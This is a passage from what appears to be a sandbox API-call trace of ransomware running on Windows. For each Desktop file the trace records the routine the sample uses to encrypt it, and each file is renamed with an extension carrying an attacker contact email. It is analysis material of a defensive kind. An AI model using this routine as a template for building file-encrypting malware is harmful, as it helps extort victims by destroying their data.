dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.208] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.208] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.208] ReadFile (in: hFile=0x124, lpBuffer=0x3090020, nNumberOfBytesToRead=0xb12a, lpNumberOfBytesRead=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesRead=0x329fc9c*=0xb12a, lpOverlapped=0x0) returned 1 [0120.209] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3090020*, pdwDataLen=0x329fc78*=0xb130, dwBufLen=0xb130 | out: pbData=0x3090020*, pdwDataLen=0x329fc78*=0xb130) returned 1 [0120.211] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.211] WriteFile (in: hFile=0x124, lpBuffer=0x3090020*, nNumberOfBytesToWrite=0xb130, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesWritten=0x329fc90*=0xb130, lpOverlapped=0x0) returned 1 [0120.211] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.212] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.212] SetEndOfFile (hFile=0x124) returned 1 [0120.216] GetProcessHeap () returned 0x520000 [0120.216] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545248 | out: hHeap=0x520000) returned 1 [0120.216] GetProcessHeap () returned 0x520000 [0120.216] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544120 | out: hHeap=0x520000) returned 1 [0120.216] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Po53K6XUyzjsd4PBoD_.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\po53k6xuyzjsd4pbod_.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Po53K6XUyzjsd4PBoD_.jpg.[4B2E4630].[garantos@mailfence.com].captcha" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\po53k6xuyzjsd4pbod_.jpg.[4b2e4630].[garantos@mailfence.com].captcha")) returned 1 [0120.221] CloseHandle (hObject=0x124) returned 1 [0120.221] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.222] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3777ee20, ftCreationTime.dwHighDateTime=0x1d5e562, ftLastAccessTime.dwLowDateTime=0xc32b2330, ftLastAccessTime.dwHighDateTime=0x1d5db92, ftLastWriteTime.dwLowDateTime=0xc32b2330, ftLastWriteTime.dwHighDateTime=0x1d5db92, nFileSizeHigh=0x0, nFileSizeLow=0x13893, dwReserved0=0x0, dwReserved1=0xffff, cFileName="PZb1zucS1.wav", cAlternateFileName="PZB1ZU~1.WAV")) returned 1 [0120.222] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a565df0, ftCreationTime.dwHighDateTime=0x1d5e754, ftLastAccessTime.dwLowDateTime=0x742cb380, ftLastAccessTime.dwHighDateTime=0x1d5dd26, ftLastWriteTime.dwLowDateTime=0x742cb380, ftLastWriteTime.dwHighDateTime=0x1d5dd26, nFileSizeHigh=0x0, nFileSizeLow=0x10e30, dwReserved0=0x0, dwReserved1=0xffff, cFileName="RwTVxn7lStVnd_WKK.jpg", cAlternateFileName="RWTVXN~1.JPG")) returned 1 [0120.222] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RwTVxn7lStVnd_WKK.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rwtvxn7lstvnd_wkk.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0120.222] GetProcessHeap () returned 0x520000 [0120.222] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x544120 [0120.222] CryptGenRandom (in: hProv=0x534c08, dwLen=0x10, pbBuffer=0x544120 | out: pbBuffer=0x544120) returned 1 [0120.222] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb0 | out: lpNewFilePointer=0x0) returned 1 [0120.222] CryptImportKey (in: hProv=0x534c08, pbData=0x545100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.222] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.222] GetProcessHeap () returned 0x520000 [0120.222] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x545248 [0120.222] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x545248*, pdwDataLen=0x329fc78*=0x50, dwBufLen=0x50 | out: pbData=0x545248*, pdwDataLen=0x329fc78*=0x50) returned 1 [0120.222] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.223] WriteFile (in: hFile=0x124, lpBuffer=0x545248*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x545248*, lpNumberOfBytesWritten=0x329fc90*=0x50, lpOverlapped=0x0) returned 1 [0120.224] WriteFile (in: hFile=0x124, lpBuffer=0x329fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fc98*, lpNumberOfBytesWritten=0x329fc90*=0x4, lpOverlapped=0x0) returned 1 [0120.224] WriteFile (in: hFile=0x124, lpBuffer=0x544120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x544120*, lpNumberOfBytesWritten=0x329fc90*=0x10, lpOverlapped=0x0) returned 1 [0120.224] WriteFile (in: hFile=0x124, lpBuffer=0x5451c0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x5451c0*, lpNumberOfBytesWritten=0x329fc90*=0x80, lpOverlapped=0x0) returned 1 [0120.224] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb8 | out: lpNewFilePointer=0x0) returned 1 [0120.224] WriteFile (in: hFile=0x124, lpBuffer=0x329fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fca8*, lpNumberOfBytesWritten=0x329fc90*=0x8, lpOverlapped=0x0) returned 1 [0120.224] CryptImportKey (in: hProv=0x534c08, pbData=0x545100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.224] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.224] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.224] ReadFile (in: hFile=0x124, lpBuffer=0x3090020, nNumberOfBytesToRead=0x10e30, lpNumberOfBytesRead=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesRead=0x329fc9c*=0x10e30, lpOverlapped=0x0) returned 1 [0120.225] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3090020*, pdwDataLen=0x329fc78*=0x10e30, dwBufLen=0x10e30 | out: pbData=0x3090020*, pdwDataLen=0x329fc78*=0x10e30) returned 1 [0120.226] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.226] WriteFile (in: hFile=0x124, lpBuffer=0x3090020*, nNumberOfBytesToWrite=0x10e30, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesWritten=0x329fc90*=0x10e30, lpOverlapped=0x0) returned 1 [0120.226] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.226] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10f14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.227] SetEndOfFile (hFile=0x124) returned 1 [0120.230] GetProcessHeap () returned 0x520000 [0120.230] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545248 | out: hHeap=0x520000) returned 1 [0120.230] GetProcessHeap () returned 0x520000 [0120.230] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544120 | out: hHeap=0x520000) returned 1 [0120.231] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RwTVxn7lStVnd_WKK.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rwtvxn7lstvnd_wkk.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RwTVxn7lStVnd_WKK.jpg.[4B2E4630].[garantos@mailfence.com].captcha" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rwtvxn7lstvnd_wkk.jpg.[4b2e4630].[garantos@mailfence.com].captcha")) returned 1 [0120.237] CloseHandle (hObject=0x124) returned 1 [0120.237] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.237] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee60d960, ftCreationTime.dwHighDateTime=0x1d5dc95, ftLastAccessTime.dwLowDateTime=0xd951b00, ftLastAccessTime.dwHighDateTime=0x1d5e3e1, ftLastWriteTime.dwLowDateTime=0xd951b00, ftLastWriteTime.dwHighDateTime=0x1d5e3e1, nFileSizeHigh=0x0, nFileSizeLow=0xa565, dwReserved0=0x0, dwReserved1=0xffff, cFileName="sFK6Q5d8gY aYLAUBVf6.flv", cAlternateFileName="SFK6Q5~1.FLV")) returned 1 [0120.237] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc0f8860, ftCreationTime.dwHighDateTime=0x1d5da97, ftLastAccessTime.dwLowDateTime=0xdad43ea0, ftLastAccessTime.dwHighDateTime=0x1d5e78f, ftLastWriteTime.dwLowDateTime=0xdad43ea0, ftLastWriteTime.dwHighDateTime=0x1d5e78f, nFileSizeHigh=0x0, nFileSizeLow=0x13ea7, dwReserved0=0x0, dwReserved1=0xffff, cFileName="sINUfMi95MsWn.m4a", cAlternateFileName="SINUFM~1.M4A")) returned 1 [0120.237] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sINUfMi95MsWn.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sinufmi95mswn.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0120.237] GetProcessHeap () returned 0x520000 [0120.237] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x544120 [0120.237] CryptGenRandom (in: hProv=0x534c08, dwLen=0x10, pbBuffer=0x544120 | out: pbBuffer=0x544120) returned 1 [0120.238] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb0 | out: lpNewFilePointer=0x0) returned 1 [0120.238] WriteFile (in: hFile=0x124, lpBuffer=0x329fcc0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fcc0*, lpNumberOfBytesWritten=0x329fc90*=0x9, lpOverlapped=0x0) returned 1 [0120.239] CryptImportKey (in: hProv=0x534c08, pbData=0x545038, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.239] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.239] GetProcessHeap () returned 0x520000 [0120.239] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5354c8 [0120.239] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x5354c8*, pdwDataLen=0x329fc78*=0x40, dwBufLen=0x40 | out: pbData=0x5354c8*, pdwDataLen=0x329fc78*=0x40) returned 1 [0120.239] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.239] WriteFile (in: hFile=0x124, lpBuffer=0x5354c8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x5354c8*, lpNumberOfBytesWritten=0x329fc90*=0x40, lpOverlapped=0x0) returned 1 [0120.239] WriteFile (in: hFile=0x124, lpBuffer=0x329fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fc98*, lpNumberOfBytesWritten=0x329fc90*=0x4, lpOverlapped=0x0) returned 1 [0120.239] WriteFile (in: hFile=0x124, lpBuffer=0x544120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x544120*, lpNumberOfBytesWritten=0x329fc90*=0x10, lpOverlapped=0x0) returned 1 [0120.240] WriteFile (in: hFile=0x124, lpBuffer=0x545138*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x545138*, lpNumberOfBytesWritten=0x329fc90*=0x80, lpOverlapped=0x0) returned 1 [0120.240] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb8 | out: lpNewFilePointer=0x0) returned 1 [0120.240] WriteFile (in: hFile=0x124, lpBuffer=0x329fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fca8*, lpNumberOfBytesWritten=0x329fc90*=0x8, lpOverlapped=0x0) returned 1 [0120.240] CryptImportKey (in: hProv=0x534c08, pbData=0x545038, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.240] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.240] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.240] ReadFile (in: hFile=0x124, lpBuffer=0x3090020, nNumberOfBytesToRead=0x13ea7, lpNumberOfBytesRead=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesRead=0x329fc9c*=0x13ea7, lpOverlapped=0x0) returned 1 [0120.241] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3090020*, pdwDataLen=0x329fc78*=0x13eb0, dwBufLen=0x13eb0 | out: pbData=0x3090020*, pdwDataLen=0x329fc78*=0x13eb0) returned 1 [0120.242] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.242] WriteFile (in: hFile=0x124, lpBuffer=0x3090020*, nNumberOfBytesToWrite=0x13eb0, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesWritten=0x329fc90*=0x13eb0, lpOverlapped=0x0) returned 1 [0120.242] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.242] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x13f84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.242] SetEndOfFile (hFile=0x124) returned 1 [0120.246] GetProcessHeap () returned 0x520000 [0120.246] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5354c8 | out: hHeap=0x520000) returned 1 [0120.246] GetProcessHeap () returned 0x520000 [0120.246] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544120 | out: hHeap=0x520000) returned 1 [0120.246] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sINUfMi95MsWn.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sinufmi95mswn.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sINUfMi95MsWn.m4a.[4B2E4630].[garantos@mailfence.com].captcha" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sinufmi95mswn.m4a.[4b2e4630].[garantos@mailfence.com].captcha")) returned 1 [0120.253] CloseHandle (hObject=0x124) returned 1 [0120.253] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.253] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaea32a70, ftCreationTime.dwHighDateTime=0x1d5e7ea, ftLastAccessTime.dwLowDateTime=0x99157fb0, ftLastAccessTime.dwHighDateTime=0x1d5e366, ftLastWriteTime.dwLowDateTime=0x99157fb0, ftLastWriteTime.dwHighDateTime=0x1d5e366, nFileSizeHigh=0x0, nFileSizeLow=0x2e4a, dwReserved0=0x0, dwReserved1=0xffff, cFileName="umLpIqbJq0daPN.wav", cAlternateFileName="UMLPIQ~1.WAV")) returned 1 [0120.253] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986e6290, ftCreationTime.dwHighDateTime=0x1d5dd79, ftLastAccessTime.dwLowDateTime=0x4a266dc0, ftLastAccessTime.dwHighDateTime=0x1d5d8cf, ftLastWriteTime.dwLowDateTime=0x4a266dc0, ftLastWriteTime.dwHighDateTime=0x1d5d8cf, nFileSizeHigh=0x0, nFileSizeLow=0x438a, dwReserved0=0x0, dwReserved1=0xffff, cFileName="ut-PHTm.mp4", cAlternateFileName="")) returned 1 [0120.253] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f54910, ftCreationTime.dwHighDateTime=0x1d5db97, ftLastAccessTime.dwLowDateTime=0xce151260, ftLastAccessTime.dwHighDateTime=0x1d5dfc0, ftLastWriteTime.dwLowDateTime=0xce151260, ftLastWriteTime.dwHighDateTime=0x1d5dfc0, nFileSizeHigh=0x0, nFileSizeLow=0x10d59, dwReserved0=0x0, dwReserved1=0xffff, cFileName="uxG8v.mp4", cAlternateFileName="")) returned 1 [0120.253] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56187f70, ftCreationTime.dwHighDateTime=0x1d5e7c4, ftLastAccessTime.dwLowDateTime=0x82d07d20, ftLastAccessTime.dwHighDateTime=0x1d5d7e2, ftLastWriteTime.dwLowDateTime=0x82d07d20, ftLastWriteTime.dwHighDateTime=0x1d5d7e2, nFileSizeHigh=0x0, nFileSizeLow=0x5435, dwReserved0=0x0, dwReserved1=0xffff, cFileName="vBXWRkjqa.swf", cAlternateFileName="VBXWRK~1.SWF")) returned 1 [0120.253] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vBXWRkjqa.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vbxwrkjqa.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0120.254] GetProcessHeap () returned 0x520000 [0120.254] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x544120 [0120.254] CryptGenRandom (in: hProv=0x534c08, dwLen=0x10, pbBuffer=0x544120 | out: pbBuffer=0x544120) returned 1 [0120.254] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb0 | out: lpNewFilePointer=0x0) returned 1 [0120.254] WriteFile (in: hFile=0x124, lpBuffer=0x329fcc0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fcc0*, lpNumberOfBytesWritten=0x329fc90*=0xb, lpOverlapped=0x0) returned 1 [0120.255] CryptImportKey (in: hProv=0x534c08, pbData=0x545100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.255] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.255] GetProcessHeap () returned 0x520000 [0120.255] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5354c8 [0120.255] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x5354c8*, pdwDataLen=0x329fc78*=0x40, dwBufLen=0x40 | out: pbData=0x5354c8*, pdwDataLen=0x329fc78*=0x40) returned 1 [0120.255] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.255] WriteFile (in: hFile=0x124, lpBuffer=0x5354c8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x5354c8*, lpNumberOfBytesWritten=0x329fc90*=0x40, lpOverlapped=0x0) returned 1 [0120.255] WriteFile (in: hFile=0x124, lpBuffer=0x329fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fc98*, lpNumberOfBytesWritten=0x329fc90*=0x4, lpOverlapped=0x0) returned 1 [0120.255] WriteFile (in: hFile=0x124, lpBuffer=0x544120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x544120*, lpNumberOfBytesWritten=0x329fc90*=0x10, lpOverlapped=0x0) returned 1 [0120.255] WriteFile (in: hFile=0x124, lpBuffer=0x5451c0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x5451c0*, lpNumberOfBytesWritten=0x329fc90*=0x80, lpOverlapped=0x0) returned 1 [0120.256] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb8 | out: lpNewFilePointer=0x0) returned 1 [0120.256] WriteFile (in: hFile=0x124, lpBuffer=0x329fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fca8*, lpNumberOfBytesWritten=0x329fc90*=0x8, lpOverlapped=0x0) returned 1 [0120.256] CryptImportKey (in: hProv=0x534c08, pbData=0x545100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.256] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.256] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.256] ReadFile (in: hFile=0x124, lpBuffer=0x3090020, nNumberOfBytesToRead=0x5435, lpNumberOfBytesRead=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesRead=0x329fc9c*=0x5435, lpOverlapped=0x0) returned 1 [0120.256] CryptEncrypt (in: hKey=0x53a950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3090020*, pdwDataLen=0x329fc78*=0x5440, dwBufLen=0x5440 | out: pbData=0x3090020*, pdwDataLen=0x329fc78*=0x5440) returned 1 [0120.256] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.257] WriteFile (in: hFile=0x124, lpBuffer=0x3090020*, nNumberOfBytesToWrite=0x5440, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesWritten=0x329fc90*=0x5440, lpOverlapped=0x0) returned 1 [0120.257] CryptDestroyKey (hKey=0x53a950) returned 1 [0120.257] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x5514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.257] SetEndOfFile (hFile=0x124) returned 1 [0120.260] GetProcessHeap () returned 0x520000 [0120.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5354c8 | out: hHeap=0x520000) returned 1 [0120.261] GetProcessHeap () returned 0x520000 [0120.261] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544120 | out: hHeap=0x520000) returned 1 [0120.261] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vBXWRkjqa.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vbxwrkjqa.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vBXWRkjqa.swf.[4B2E4630].[garantos@mailfence.com].captcha" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vbxwrkjqa.swf.[4b2e4630].[garantos@mailfence.com].captcha")) returned 1 [0120.264] CloseHandle (hObject=0x124) returned 1 [0120.264] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.264] FindNextFileW (in: hFindFile=0x53a9e0, lpFindFileData=0x329fd20 | out: lpFindFileData=0x329fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b801400, ftCreationTime.dwHighDateTime=0x1d5e81c, ftLastAccessTime.dwLowDateTime=0xa591f030, ftLastAccessTime.dwHighDateTime=0x1d5dd98, ftLastWriteTime.dwLowDateTime=0xa591f030, ftLastWriteTime.dwHighDateTime=0x1d5dd98, nFileSizeHigh=0x0, nFileSizeLow=0x18c85, dwReserved0=0x0, dwReserved1=0xffff, cFileName="VEOSuKZMb2iFfRfNLI.jpg", cAlternateFileName="VEOSUK~1.JPG")) returned 1 [0120.264] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VEOSuKZMb2iFfRfNLI.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\veosukzmb2iffrfnli.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0120.265] GetProcessHeap () returned 0x520000 [0120.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x544120 [0120.265] CryptGenRandom (in: hProv=0x534c08, dwLen=0x10, pbBuffer=0x544120 | out: pbBuffer=0x544120) returned 1 [0120.265] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fcb0 | out: lpNewFilePointer=0x0) returned 1 [0120.265] WriteFile (in: hFile=0x124, lpBuffer=0x329fcc0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x329fc90, lpOverlapped=0x0 | out: lpBuffer=0x329fcc0*, lpNumberOfBytesWritten=0x329fc90*=0xb, lpOverlapped=0x0) returned 1 [0120.266] CryptImportKey (in: hProv=0x534c08, pbData=0x545038, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fc94 | out: phKey=0x329fc94*=0x53a950) returned 1 [0120.266] CryptSetKeyParam (hKey=0x53a950, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.266] GetProcessHeap () returned 0x520000 [0120.266] RtlAllocateHeap (HeapHandle=0x520000, 